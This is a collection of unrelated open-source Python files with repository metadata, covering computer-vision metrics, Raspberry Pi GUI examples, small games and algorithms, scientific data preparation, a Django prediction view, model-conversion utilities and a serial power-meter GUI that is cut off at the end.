- box[1])\n\n area_true = box_area(boxes_true.T)\n area_detection = box_area(boxes_detection.T)\n\n top_left = np.maximum(boxes_true[:, None, :2], boxes_detection[:, :2])\n bottom_right = np.minimum(boxes_true[:, None, 2:], boxes_detection[:, 2:])\n\n area_inter = np.prod(np.clip(bottom_right - top_left, a_min=0, a_max=None), 2)\n return area_inter / (area_true[:, None] + area_detection - area_inter)\n\n\ndef mask_iou(mask_true: np.ndarray, mask_detection: np.ndarray) -> Optional[float]:\n \"\"\"\n Compute Intersection over Union of two masks - mask_true and mask_detection. Shapes of mask_true and\n mask_detection should be identical. Both arrays are expected to be `np.uint8` type and contain binary values (0 or 1).\n\n Args:\n mask_true: 2d `np.ndarray` representing ground-truth mask.\n mask_detection: 2d `np.ndarray` representing detection mask.\n\n Returns:\n iou: `float` value between 0 and 1. `None` if union is equal to 0.\n\n Example:\n ```\n >>> import numpy as np\n\n >>> from onemetric.cv.utils.iou import mask_iou\n\n >>> full_mask = np.ones((10, 10)).astype('uint8')\n >>> quarter_mask = np.zeros((10, 10)).astype('uint8')\n >>> quarter_mask[0:5, 0:5] = 1\n\n >>> iou = mask_iou(mask_true=full_mask, mask_detection=quarter_mask)\n\n >>> iou\n ... 0.25\n ```\n \"\"\"\n _validate_mask(mask=mask_true)\n _validate_mask(mask=mask_detection)\n\n if mask_true.shape != mask_detection.shape:\n raise ValueError(f\"mask_true and mask_detection should have equal shapes.\")\n\n area_intersection = (mask_true & mask_detection).astype('uint8')\n area_union = (mask_true | mask_detection).astype('uint8')\n\n if np.sum(area_union) == 0:\n return None\n\n return np.sum(area_intersection) / np.sum(area_union)\n\n\ndef _validate_box(box: Tuple[float, float, float, float]):\n if type(box) != tuple or len(box) != 4 or box[0] >= box[2] or box[1] >= box[3]:\n raise ValueError(\n f\"Bounding box must be defined as four elements tuple: (x_min, y_min, x_max, y_max), \"\n f\"where x_min < x_max and y_min < y_max. {box} given.\"\n )\n\n\ndef _validate_boxes_batch(boxes_batch: np.ndarray):\n if type(boxes_batch) != np.ndarray or len(boxes_batch.shape) != 2 or boxes_batch.shape[1] != 4:\n raise ValueError(\n f\"Bounding boxes batch must be defined as 2d np.array with (N, 4) shape, {boxes_batch} given\"\n )\n\n\ndef _validate_mask(mask: np.ndarray):\n if type(mask) != np.ndarray or mask.dtype != 'uint8' or len(mask.shape) != 2 or mask.min() < 0 or mask.max() > 1:\n raise ValueError(\n f\"Mask must be defined as 2d np.array with np.uint8 type and binary values (0/1). {mask} given.\"\n )\n","repo_name":"SkalskiP/onemetric","sub_path":"onemetric/cv/utils/iou.py","file_name":"iou.py","file_ext":"py","file_size_in_byte":5920,"program_lang":"python","lang":"en","doc_type":"code","stars":58,"dataset":"github-code","pt":"21"} +{"seq_id":"5926831583","text":"from tkgpio import TkCircuit\n\n# initialize the circuit inside the GUI\n\nconfiguration = {\n \"width\": 300,\n \"height\": 200,\n \"lcds\": [\n {\"x\": 30, \"y\": 40, \"name\": \"LCD\", \"pins\":[2, 3, 4, 5, 6, 7], \"columns\": 16, \"lines\": 2}\n ],\n \"buttons\": [\n {\"x\": 30, \"y\": 130, \"name\": \"Press to toggle LED 2\", \"pin\": 11},\n ]\n}\n\ncircuit = TkCircuit(configuration)\n@circuit.run\ndef main ():\n \n # now just write the code you would use in a real Raspberry Pi\n \n from gpiozero import LED, Button\n from time import sleep\n from Adafruit_CharLCD import Adafruit_CharLCD\n \n \n lcd = Adafruit_CharLCD(2, 3, 4, 5, 6, 7, 16, 2)\n \n global count\n count = 0\n \n \n def show_next_characters():\n global count\n \n print(f\"Showing characters from code {count} to {count+31}\")\n \n string = \"\"\n for i in range(0, 32):\n string += chr(count)\n if i == 15:\n string += \"\\n\"\n count += 1\n \n lcd.clear()\n lcd.message(string)\n \n button = Button(11)\n button.when_pressed = show_next_characters\n \n show_next_characters()\n \n \n while True:\n sleep(0.1)\n","repo_name":"wallysalami/tkgpio","sub_path":"docs/examples/test_LCD.py","file_name":"test_LCD.py","file_ext":"py","file_size_in_byte":1214,"program_lang":"python","lang":"en","doc_type":"code","stars":82,"dataset":"github-code","pt":"21"} +{"seq_id":"37429429736","text":"import random\n# v 1.0\n\"\"\"This program plays a game of Rock, Paper, Scissors between two Players,\nand reports both Player's scores each round.\"\"\"\n\nmoves = ['rock', 'paper', 'scissors']\n\n\"\"\"The Player class is the parent class for all of the Players\nin this game\"\"\"\n\n\nclass Player:\n def __init__(self):\n self.my_previous_move = random.choice(moves)\n self.their_previous_move = random.choice(moves)\n\n def move(self):\n return 'rock'\n\n def learn(self, my_move, their_move):\n self.my_previous_move = my_move\n self.their_previous_move = their_move\n\n\nclass Random_Player(Player):\n def move(self):\n return random.choice(moves)\n\n\nclass Human_Player(Player):\n def move(self):\n self.hand = input(\"What will you play?\" +\n \" Rock, Paper or Scissors?\\n\").lower()\n if self.hand in moves:\n return self.hand\n else:\n print(\"Not a valid move\")\n self.move()\n\n\nclass Reflect_Player(Player):\n def move(self):\n return self.their_previous_move\n\n\nclass Cycle_Player(Player):\n def move(self):\n n = moves.index(self.my_previous_move)\n if n == 2:\n return moves[0]\n else:\n return moves[n+1]\n\n\nclass Game:\n def __init__(self, p1, p2):\n self.p1 = p1\n self.p2 = p2\n self.p1.score = 0\n self.p2.score = 0\n\n def play_round(self):\n move1 = self.p1.move()\n move2 = self.p2.move()\n print(f\"Player 1: {move1} Player 2: {move2}\")\n self.beats(move1, move2)\n self.p1.learn(move1, move2)\n self.p2.learn(move2, move1)\n\n def post_game(self):\n print(f\"Final score P1: {self.p1.score}, P2: {self.p2.score}\")\n if self.p1.score > self.p2.score:\n print(f\"Player 1 Wins with {self.p1.score} points!\\n\")\n elif self.p1.score < self.p2.score:\n print(f\"Player 2 Wins with {self.p2.score} points!\\n\")\n elif self.p1.score == self.p2.score:\n print(\"TIE BREAKER ROUND!!\")\n self.play_round()\n self.post_game()\n\n def play_again(self):\n another = input(\"play another 3 rounds or quit? quit/play?\\n\").lower()\n if another == \"play\":\n self.play_game()\n elif another == \"quit\":\n print(\"Game over!\")\n else:\n print(\"invalid command\")\n self.play_again\n\n def play_game(self):\n print(\"Game start!\")\n for round in range(3):\n print(f\"P1: {self.p1.score}, P2: {self.p2.score}\")\n print(f\"Round {round}:\")\n self.play_round()\n self.post_game()\n self.play_again()\n\n def beats(self, move1, move2):\n if move1 == move2:\n print(\"This round is a tie no winner \\n\")\n elif move1 == 'rock':\n if move2 == 'scissors':\n self.p1.score += 1\n print(\"Player 1 wins this round \\n\")\n else:\n self.p2.score += 1\n print(\"Player 2 wins this round \\n\")\n elif move1 == 'scissors':\n if move2 == 'paper':\n self.p1.score += 1\n print(\"Player 1 wins this round \\n\")\n else:\n self.p2.score += 1\n print(\"Player 2 wins this round \\n\")\n elif move1 == 'paper':\n if move2 == 'rock':\n self.p1.score += 1\n print(\"Player 1 wins this round\\n\")\n else:\n self.p2.score += 1\n print(\"Player 2 wins this round \\n\")\n\n\nif __name__ == '__main__':\n game = Game(Human_Player(), Random_Player())\n game.play_game()\n","repo_name":"hamjahb/rock-paper-scisors","sub_path":"rock paper scisors.py","file_name":"rock paper scisors.py","file_ext":"py","file_size_in_byte":3672,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"70533303732","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Apr 06 11:18:32 2016\n\n@author: Ferriss\n\nConvert .CSV files of polarized FTIR measurements of untreated Kunlun and \nJaipur diopside to tab-delimited txt file appropriate for upload to the \nPULI database, http://puli.mfgi.hu\nFirst column: wavenumber\nSecond column: absorbances\nNormalized to cm\n\nWavenumber range 2700-4000 cm-1 following the example on the PULI website.\n\n\"\"\"\n\nimport cpx_spectra as sp\nimport numpy as np\nimport csv\n#import matplotlib.pyplot as plt\nimport pynams.pynams \n\nreload(pynams)\nreload(sp)\n\nKunlun_list = [sp.ave_K6_Ea, sp.ave_K6_Eb, sp.ave_K6_Ec] \nJ2_list = [sp.J2_Ea, sp.J2_Eb, sp.J2_Ec] # My Jaipur diopside sample J2\n\nspec_list = J2_list + Kunlun_list\nname_list = ['Jaipur_diopside_Ea', 'Jaipur_diopside_Eb', 'Jaipur_diopside_Ec',\n 'Kunlun_diopside_Ea', 'Kunlun_diopside_Eb', 'Kunlun_diopside_Ec', ]\n\nwn_high_puli = 4000.\nwn_low_puli = 2500.\n\nfor idx, spec in enumerate(spec_list):\n spec.divide_by_thickness()\n idx_hi = (np.abs(spec.wn_full-wn_high_puli)).argmin()\n idx_lo = (np.abs(spec.wn_full-wn_low_puli)).argmin()\n\n wn_puli = spec.wn_full[idx_lo:idx_hi]\n abs_puli = spec.abs_full_cm[idx_lo:idx_hi]\n \n fig, ax = spec.plot_spectrum(wn_xlim_left=wn_high_puli,\n wn_xlim_right=wn_low_puli)\n \n filename = 'Ferriss_' + name_list[idx] + '_puli.txt'\n \n with open(filename, 'wb') as pulifile:\n spamwriter = csv.writer(pulifile, dialect='excel-tab')\n for idx_wn, wn in enumerate(wn_puli):\n spamwriter.writerow([wn, abs_puli[idx_wn]])\n","repo_name":"EFerriss/HydrogenCpx","sub_path":"HydrogenCpx/puli_database_prep.py","file_name":"puli_database_prep.py","file_ext":"py","file_size_in_byte":1598,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"73365958452","text":"# Express P/Q mod m \n\n# Input : p , q , m\n\n# Output: integer value representing P/Q modulo m\n\ndef mod(p,q,m):\n p = p % m \n inv = pow(q, m-2, m) \n ans=(inv*p) % m\n return ans","repo_name":"bhatnitish1998/aps-2020","sub_path":"pq-1 mod m.py","file_name":"pq-1 mod m.py","file_ext":"py","file_size_in_byte":185,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"15184649585","text":"from django.shortcuts import render\n\nfrom joblib import load\nmodel = load('./savedModels/learnandbuild.joblib')\n\ndef predictor(request):\n if request.method == 'POST':\n tenure = request.POST['tenure']\n SeniorCitizen = request.POST['SeniorCitizen']\n Contract = request.POST['Contract']\n PaperlessBilling = request.POST['PaperlessBilling']\n MonthlyCharges = request.POST['MonthlyCharges']\n y_pred = model.predict([[ tenure\t,SeniorCitizen,\tContract\t,PaperlessBilling,\tMonthlyCharges]])\n if y_pred[0] == 0:\n y_pred = 'Not Churn'\n elif y_pred[0] == 1:\n y_pred = 'Churn'\n else:\n y_pred = 'Virginica'\n return render(request, 'result.html', {'result' : y_pred})\n return render(request, 'main.html')\n","repo_name":"Jatinyadav7362/Churn_Prediction","sub_path":"irisApp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":799,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"23031931127","text":"# deque 안쓰면 효율성 검사 1번 불합.. 쓰면 통과\nfrom collections import deque\ndef solution(people, limit):\n answer = 0\n people = deque(sorted(people))\n while people :\n if len(people) == 1 :\n answer += 1\n break\n if people[0] + people[-1] <= limit :\n people.pop()\n people.popleft()\n else :\n people.pop()\n answer += 1\n return answer","repo_name":"seoyeon08/Algorithm_Study","sub_path":"programmers/Lev2/구명보트.py","file_name":"구명보트.py","file_ext":"py","file_size_in_byte":439,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"31327221139","text":"import requests, json\nfrom bs4 import BeautifulSoup\n\nresponse = requests.get('https://coloniae.space/static/mycolony_version.json')\n\nsoup = BeautifulSoup(response.text, features=\"html.parser\").text\n\nmycolonyversion = json.loads(soup)['mycolony_version']\n\nprint(mycolonyversion)\n\nimageslink = 'https://www.apewebapps.com/apps/my-colony/'+mycolonyversion+'/images/'\n\nresponse = requests.get(imageslink)\n\nsoup = BeautifulSoup(response.text, features=\"html.parser\")\n\nlinks = soup.find_all('a', href=True)\n\nwith open('linkslist.txt', 'w') as file:\n for link in links:\n if link['href'][-4:] in ['.png', '.svg']:\n file.write(imageslink+link['href']+'\\n')\n\nprint('now run:')\nprint('wget -q -i linkslist.txt\\nfind . -name \"*.1\" -type f -delete')\n","repo_name":"ultimepipolo/coloniae-public","sub_path":"static/media/gametiles/get_links_list.py","file_name":"get_links_list.py","file_ext":"py","file_size_in_byte":758,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"19043957532","text":"import numpy as np\nimport torch\nimport torch.utils.data as data\nfrom torchvision import datasets, transforms\nimport os\nfrom PIL import Image, ImageOps\n\nclass KvasirSEG_Dataset(data.Dataset):\n\n def __init__(self, root=None, dataset_type='train',cross='1', transform=None):\n #self.h_image_size, self.w_image_size = image_size[0], image_size[1]\n self.dataset_type = dataset_type\n self.transform = transform\n self.cross = cross\n\n self.item_image = np.load(root + \"datamodel/{}_data_{}.npy\".format(self.dataset_type, self.cross)) \n self.item_gt = np.load(root + \"datamodel/{}_label_{}.npy\".format(self.dataset_type, self.cross)) \n print(np.bincount(self.item_gt.flatten())) \n\n\n def __getitem__(self, index):\n items_im = self.item_image\n items_gt = self.item_gt\n img_name = items_im[index]\n label_name = items_gt[index]\n label_name = np.where(label_name>200, 1, 0)\n\n image = Image.fromarray(np.uint8(img_name))\n mask = Image.fromarray(np.uint8(label_name))\n\n #mask = np.eye(2)[mask]\n\n if self.transform:\n image, mask = self.transform(image, mask)\n\n return image, mask\n\n def __len__(self):\n return len(self.item_image)\n\n\n\n","repo_name":"usagisukisuki/Adaptive_t-vMF_Dice_loss","sub_path":"Kvasir-SEG/mydataset.py","file_name":"mydataset.py","file_ext":"py","file_size_in_byte":1274,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"21"} +{"seq_id":"37937834352","text":"import numpy as np\nimport warnings\n\n\ndef merge_reshape_nodes(model):\n \"\"\"\n Version specific for 0.4.1 and 1.0.x\n A sequence of constant-reshape nodes with consistent blob flow\n corresponds to one holistic Reshape layer in caffe.\n This method merges the nodes into one node corresponding\n to that layer.\n \"\"\"\n import onnx\n\n nodes = model.graph.node[:]\n del model.graph.node[:]\n\n idx = 0\n while idx < len(nodes):\n node = nodes[idx]\n if node.op_type != \"Constant\":\n model.graph.node.extend([node])\n idx += 1\n continue\n\n constant_node = node\n while idx < len(nodes):\n idx += 1\n if idx >= len(nodes):\n break\n node = nodes[idx]\n if node.op_type != \"Reshape\":\n model.graph.node.extend([constant_node])\n break\n reshape_node = node\n assert constant_node.output[0] in reshape_node.input\n reshape_node.input.remove(constant_node.output[0])\n\n constant_attributes = dict(\n zip(\n [attr.name for attr in constant_node.attribute],\n constant_node.attribute,\n )\n )\n shape = np.frombuffer(\n constant_attributes[\"value\"].t.raw_data, dtype=np.int64\n )\n reshape_node.attribute.add(\n ints=shape, name=\"shape\", type=onnx.AttributeProto.INTS\n )\n model.graph.node.extend([reshape_node])\n idx += 1\n break\n\n\ndef delete_reshape_nodes(model):\n\n nodes = model.graph.node[:]\n del model.graph.node[:]\n\n idx = 0\n while idx < len(nodes):\n if nodes[idx].op_type != \"Reshape\":\n\n model.graph.node.extend([nodes[idx]])\n idx += 1\n continue\n else:\n temp_idx = idx + 1\n repeat_mark = False\n repeat_nodes = []\n use_mark = False\n if temp_idx >= len(nodes):\n model.graph.node.extend([nodes[idx]])\n else:\n while temp_idx < len(nodes):\n if nodes[temp_idx].op_type == \"Reshape\":\n if nodes[idx].output[0] in nodes[temp_idx].input:\n repeat_nodes.append(nodes[temp_idx])\n repeat_mark = True\n else:\n if nodes[idx].output[0] in nodes[temp_idx].input:\n use_mark = True\n temp_idx += 1\n\n if repeat_mark == True and use_mark == False:\n for temp_node in repeat_nodes:\n temp_node.input[0] = nodes[idx].input[0]\n else:\n model.graph.node.extend([nodes[idx]])\n idx += 1\n","repo_name":"ModelTC/NART","sub_path":"python/nart/tools/pytorch/network_utils/reshape.py","file_name":"reshape.py","file_ext":"py","file_size_in_byte":2865,"program_lang":"python","lang":"en","doc_type":"code","stars":34,"dataset":"github-code","pt":"21"} +{"seq_id":"19095826113","text":"import json\n\nif __name__ == \"__main__\":\n with open(\"complex_ddi_residues.json\", \"r\") as handle:\n complex_residues = json.load(handle)\n\n hydrophobicity = {'A':.41,'R':-.14,'N':-.28,'D':-.55,'C':.49,'E':-.31,\n 'Q':-.1,'G':0,'H':0.08,'I':.99,'L':.97,'K':-.23,'M':.74,\n 'F':1.0,'P':-.46,'S':-.05,'T':.13,'W':.97,'Y':.63,'V':.76}\n\n avg_rel_hyd = {}\n \n for comp in complex_residues:\n vals = [hydrophobicity[aa] for aa in complex_residues[comp]]\n mean = sum(vals) / len(vals)\n avg_rel_hyd[comp.upper()] = mean\n \n planarity = {}\n with open(\"planarity_results.csv\", \"r\") as handle:\n for line in handle:\n line = line.strip(\"\\n\").split(\",\")\n if line[0] != \"5H7I\":\n planarity[line[0]] = line[1]\n\n planars = [avg_rel_hyd[comp] for comp in planarity if planarity[comp] == \"planar\"]\n nonplanars = [avg_rel_hyd[comp] for comp in planarity if planarity[comp] == \"nonplanar\"]\n \n\n with open(\"hydrophobicity_by_planarity.csv\", \"w\") as out:\n out.write(\"planars,nonplanars\")\n out.write(\"\\n\")\n for idx, num in enumerate(planars):\n try:\n out.write(\",\".join([str(num), str(nonplanars[idx])]))\n out.write(\"\\n\")\n except IndexError:\n out.write(\",\".join([str(num), \"NA\"]))\n out.write(\"\\n\")\n\n","repo_name":"wigasper/ddi-planarity","sub_path":"analysis/hydrophobicity_analysis.py","file_name":"hydrophobicity_analysis.py","file_ext":"py","file_size_in_byte":1419,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"5394781945","text":"import re\nimport io\n\ncamel_to_snake_pattern = re.compile(\"(.)([A-Z][a-z]+)\")\ncamel_to_snake_pattern2 = re.compile(\"([a-z0-9])([A-Z])\")\n\n\ndef camel_to_snake(name):\n # name = re.sub(\"(.)([A-Z][a-z]+)\", r\"\\1_\\2\", name)\n # return re.sub(\"([a-z0-9])([A-Z])\", r\"\\1_\\2\", name).lower()\n name = camel_to_snake_pattern.sub(r\"\\1_\\2\", name)\n return camel_to_snake_pattern2.sub(r\"\\1_\\2\", name).lower()\n\n\ndef iterable_to_stream(\n iterable, buffer_size=io.DEFAULT_BUFFER_SIZE\n) -> io.BufferedReader:\n \"\"\"\n Lets you use an iterable (e.g. a generator) that yields bytestrings as a read-only\n input stream.\n\n The stream implements Python 3's newer I/O API (available in Python 2's io module).\n For efficiency, the stream is buffered.\n \"\"\"\n\n class IterStream(io.RawIOBase):\n def __init__(self):\n self.leftover = None\n\n def readable(self):\n return True\n\n def readinto(self, b):\n try:\n length = len(b) # We're supposed to return at most this much\n chunk = self.leftover or next(iterable)\n output, self.leftover = chunk[:length], chunk[length:]\n b[: len(output)] = output\n return len(output)\n except StopIteration:\n return 0 # indicate EOF\n\n return io.BufferedReader(IterStream(), buffer_size=buffer_size)\n\n\nclass RequiredParameterCheck(object):\n \"\"\"A decorator that checks if at least on named parameter is present\"\"\"\n\n MODE_OR = 0\n MODE_AND = 1\n\n def __init__(self, required, mode=MODE_OR):\n self.required = sorted(required)\n self.mode = mode\n\n def __call__(self, func):\n def wrapper(*args, **kwargs):\n found_paramater = sorted([req for req in self.required if req in kwargs])\n if self.mode == self.MODE_OR and found_paramater:\n return func(*args, **kwargs)\n elif self.mode == self.MODE_AND and found_paramater == self.required:\n return func(*args, **kwargs)\n else:\n raise ValueError(\n f\"Required parameter `{', '.join(self.required)}` is missing.\"\n )\n\n wrapper.__name__ = func.__name__\n wrapper.__dict__.update(func.__dict__)\n wrapper.__doc__ = func.__doc__\n return wrapper\n","repo_name":"FORMOBILE/CLOUDxTRACT","sub_path":"src/extractor/common/tools.py","file_name":"tools.py","file_ext":"py","file_size_in_byte":2338,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"} +{"seq_id":"29926040492","text":"\"\"\"Routes configuration\n\nThe more specific and detailed routes should be defined first so they\nmay take precedent over the more generic routes. For more information\nrefer to the routes manual at http://routes.groovie.org/docs/\n\"\"\"\nfrom routes import Mapper\n\ndef make_map(config):\n \"\"\"Create, configure and return the routes Mapper\"\"\"\n map = Mapper(directory=config['pylons.paths']['controllers'],\n always_scan=config['debug'])\n map.minimization = False\n\n # The ErrorController route (handles 404/500 error pages); it should\n # likely stay at the top, ensuring it can always be resolved\n map.connect('/error/{action}', controller='error')\n map.connect('/error/{action}/{id}', controller='error')\n\n # CUSTOM ROUTES HERE\n\n map.connect('home', '/', controller='home', action='index')\n # proxied items\n map.connect('about', '/about', controller='home', action='about')\n map.connect('get-involved', '/get-involved', controller='home',\n action='get_involved')\n\n map.connect('proxy', '/proxy', controller='proxy', action='index')\n map.connect('sparql', '/sparql', controller='sparql', action='index')\n map.connect('search', '/search', controller='search', action='index')\n map.connect('graph', '/graph', controller='graph', action='index')\n map.connect('add', '/add', controller='graph', action='add')\n map.connect('import', '/import', controller='remote', action='index')\n map.connect('uuid', '/api/uuidalloc', controller='uuidalloc', action='index')\n\n map.connect(\"isbn\", \"/isbn/{isbn}\", controller=\"isbn\", action=\"index\")\n map.connect(\"isbn\", \"/isbn\", controller=\"isbn\", action=\"index\")\n\n map.connect(\"collection\", \"/collection/search\", controller=\"collection\",\n action=\"search\")\n map.connect(\"collection\", \"/collection/\", controller=\"collection\",\n action=\"create\",\n conditions=dict(method=['POST']))\n map.connect(\"collection\", \"/collection/{collection}\", controller=\"collection\",\n action=\"update\",\n conditions=dict(method=['POST']))\n map.connect(\"collection\", \"/collection/{collection}\", controller=\"collection\", action=\"index\")\n map.connect(\"collection\", \"/collection\", controller=\"collection\", action=\"index\")\n\n map.connect(\"modeview\", \"/modelview\", controller=\"modelview\", action=\"index\")\n\n # map.connect(\"changeset\", \"/changeset/{changeset}\", \n # controller=\"changeset\", action=\"view\")\n map.connect(\"changesets\", \"/changeset\", \n controller=\"changeset\", action=\"index\")\n\n map.connect('/account', controller='account', action='index')\n map.connect('/account/login', controller='account', action='login')\n map.connect('/account/logout', controller='account', action='logout')\n map.connect('/account/{username}', controller='account', action='view')\n\n # for the time being catch everything but soon we will be more specific\n # e.g. restrict to work|person|entity ...\n map.connect('/*path', controller='graph', action='index')\n\n return map\n","repo_name":"rufuspollock/openbiblio-old","sub_path":"openbiblio/config/routing.py","file_name":"routing.py","file_ext":"py","file_size_in_byte":3058,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"40005952171","text":"# --------3.4 Tower Of Hanoi Problem--------\nclass Node:\n def __init__(self, val, nextNode = None):\n self.val = val\n self.nextNode = nextNode\n \nclass Stack:\n def __init__(self, name):\n self.top = None\n self.name = name\n self.length = 0\n def push(self, val):\n n = Node(val)\n n.nextNode = self.top\n self.top = n\n self.length += 1\n return self\n \n def pop(self):\n val = self.top.val\n if(self.top !=None ):\n self.top = self.top.nextNode\n self.length -= 1\n # print(\"The length of the stack after pop is \", self.length)\n else:\n self.top = None\n return val\n \n def show(self):\n temp = self.top\n while(temp):\n print(\"Value in stack \", self.name, \" : \",temp.val)\n temp = temp.nextNode\n\ndef toh(n, fromStack, toStack, auxStack):\n if(n == 1):\n toStack.push(fromStack.pop())\n print(\"Move \", n)\n return \n toh(n-1, fromStack, auxStack, toStack)\n print(\"Move \", n)\n toStack.push(fromStack.pop())\n toh(n-1, auxStack, toStack, fromStack)\n \nstackA = Stack(\"A\")\nstackB = Stack(\"B\")\nstackC = Stack(\"C\")\nn = int(input())\nfor i in range(n,0, -1 ):\n stackA.push(i)\ntoh(n, stackA, stackC, stackB)\nstackA.show()\nstackB.show()\nstackC.show()\n","repo_name":"Aman-Malhotra/Cracking_The_Coding_Interview_Book_Solutions_PYTHON","sub_path":"3/3.4.py","file_name":"3.4.py","file_ext":"py","file_size_in_byte":1361,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"73567262453","text":"import tkinter as tk\r\nfrom tkinter import *\r\nimport serial\r\nimport serial.tools.list_ports\r\nimport time\r\nimport threading\r\nimport numpy as np\r\n\r\nglobal meters_exists, meters_single, meters_cont, measurements\r\n\r\nBAUD = 19200\r\nlaunch_time = time.time()\r\n\r\nroot = tk.Tk()\r\nroot.title(\"Power Measurement\")\r\n\r\n\r\n# Method to offload continuous polling of device to Daemon Thread\r\ndef MeasureOnThread(COM, entry, idx):\r\n global is_on\r\n\r\n ser = serial.Serial(COM, BAUD, timeout=.1)\r\n start = time.time()\r\n\r\n # While the continuous run button is still on, keep reading!\r\n while is_on[idx]:\r\n ser.write(b'v')\r\n output = ser.readline()\r\n entry.delete(0, \"end\")\r\n entry.insert(0, output.decode() + \" dB\")\r\n # entry.insert(0, str(round((time.time()-start), 2)) + \" dBm\") # for debugging!!!\r\n time.sleep(.1)\r\n ser.close()\r\n\r\n\r\n# Method to take Single Measurement of selected meter\r\ndef TakeSingleMeasurement(COM, entry, idx):\r\n if not is_on[idx]:\r\n ser = serial.Serial(COM, BAUD, timeout=.1)\r\n ser.write(b'v')\r\n output = ser.readline()\r\n entry.delete(0, \"end\")\r\n entry.insert(0, output.decode() + \" dB\")\r\n # entry.insert(0, time.time()-launch_time) # for debugging!!!\r\n ser.close()\r\n\r\n\r\n# Method to start Continuous Measurement of selected meter\r\ndef TakeContMeasurement(COM, entry, this_button, idx, set_all):\r\n global is_on\r\n if not is_on[idx]:\r\n is_on[idx] = True\r\n this_button.config(fg=\"black\", bg=\"yellow\")\r\n\r\n # Why did I use a Daemon Thread?\r\n # Because it closes the serial connection upon closing the program.\r\n # Bad Programming Practice? Maybe.\r\n # Solves the problem? Also, maybe.\r\n t1 = threading.Thread(daemon=True, target=MeasureOnThread, args=(COM, entry, idx))\r\n t1.start()\r\n elif not set_all:\r\n is_on[idx] = False\r\n this_button.config(fg=\"black\", bg=\"white\")\r\n\r\n\r\n# Method to stop Continuous Measurement of selected meter\r\ndef StopContMeasurement(this_button, idx):\r\n is_on[idx] = False\r\n this_button.config(fg=\"black\", bg=\"white\")\r\n\r\n\r\n# Method to start Continuous Measurement of all active meters\r\ndef TakeContMeasurementAll(comlist):\r\n global meters_exists, measurements, meters_cont, is_on\r\n for idx in range(len(meters_exists)):\r\n if meters_exists[idx]:\r\n com = checklist[idx].cget('text')\r\n TakeContMeasurement(com, measurements[idx], meters_cont[idx], idx, True)\r\n\r\n\r\n# Method to stop Continuous Measurement of all active meters\r\ndef StopContMeasurementAll(comlist):\r\n global meters_exists, measurements, meters_cont, is_on\r\n for idx in range(len(meters_exists)):\r\n if meters_exists[idx] and is_on[idx]:\r\n com = checklist[idx].cget('text')\r\n StopContMeasurement(meters_cont[idx], idx)\r\n\r\n\r\n# Method to take Single Measurement of all active meters\r\ndef TakeSingleMeasurementAll(comlist):\r\n global meters_exists, measurements, meters_single\r\n for idx in range(len(meters_exists)):\r\n if meters_exists[idx]:\r\n com = checklist[idx].cget('text')\r\n TakeSingleMeasurement(com, measurements[idx], idx)\r\n\r\n\r\n# Adds GUI objects when COM is checked\r\ndef DisplayMeasurementGUI(COM, idx):\r\n global meters_single, meters_cont, measurements\r\n\r\n # tk.Entry for measurement output\r\n measurements[idx] = tk.Entry(justify=\"center\")\r\n measurements[idx].insert(0, \"dB\")\r\n measurements[idx].grid(row=idx, column=1)\r\n\r\n # tk.Button for single measure\r\n meters_single[idx] = tk.Button(text=\"Measure\", command=lambda: TakeSingleMeasurement(COM, measurements[idx], idx),\r\n fg=\"black\", bg=\"white\")\r\n meters_single[idx].grid(row=idx, column=2)\r\n\r\n # tk.Button for continuous measure\r\n meters_cont[idx] = tk.Button(text=\"Continuous Measure\",\r\n command=lambda: TakeContMeasurement(COM, measurements[idx],\r\n meters_cont[idx], idx, False),\r\n fg=\"black\", bg=\"white\")\r\n meters_cont[idx].grid(row=idx, column=3, padx=(5, 5), pady=(2, 2))\r\n root.geometry(\"\")\r\n\r\n\r\n# Removes GUI objects when COM is unchecked\r\ndef RemoveMeasurementGUI(COM, idx):\r\n meters_single[idx].grid_remove()\r\n meters_cont[idx].grid_remove()\r\n measurements[idx].grid_remove()\r\n return\r\n\r\n# Whenever checklist is updated, go through and add/remove any buttons\r\ndef UpdateMeters(checklist, varlist):\r\n global meters_exists\r\n for i in range(len(checklist)):\r\n com = checklist[i].cget('text')\r\n if varlist[i].get() == 1 and not meters_exists[i]:\r\n meters_exists[i] = True\r\n DisplayMeasurementGUI(com, i)\r\n elif varlist[i].get() == 0 and meters_exists[i]:\r\n meters_exists[i] = False\r\n RemoveMeasurementGUI(com, i)\r\n\r\n\r\n# Here lies the actual code\r\nports = serial.tools.list_ports.comports() # get all COM ports\r\n\r\n# for keeping track of selected COM ports\r\nchecklist = np.empty(shape=(len(ports),), dtype=tk.Checkbutton)\r\nvarlist = np.empty(shape=(len(ports),), dtype=IntVar)\r\n\r\n# is_on - for all COM ports, if continuous read is on\r\n# meters_exist - for all COM ports, if port is checked = True\r\n# meters_single - np.array for single measure tk.Button\r\n# meters_cont - np.array for continuous measure tk.Button\r\n# measurements - np.array for measurement output tk.Entry\r\nglobal is_on, meters_exists, meters_single, meters_cont, measurements\r\nis_on = np.full_like(checklist, False)\r\nmeters_exists = np.full_like(checklist, False)\r\nmeters_single = np.empty_like(checklist, dtype=tk.Button)\r\nmeters_cont = np.empty_like(checklist, dtype=tk.Button)\r\nmeasurements = np.empty_like(checklist, dtype=tk.Entry)\r\nports = sorted(ports) # sort in increasing numeric order\r\n\r\n# Placing all the widgets\r\nfor i in range(len(checklist)):\r\n ID = ports[i][0]\r\n varlist[i] = IntVar()\r\n checklist[i] = tk.Checkbutton(root, text=ID, 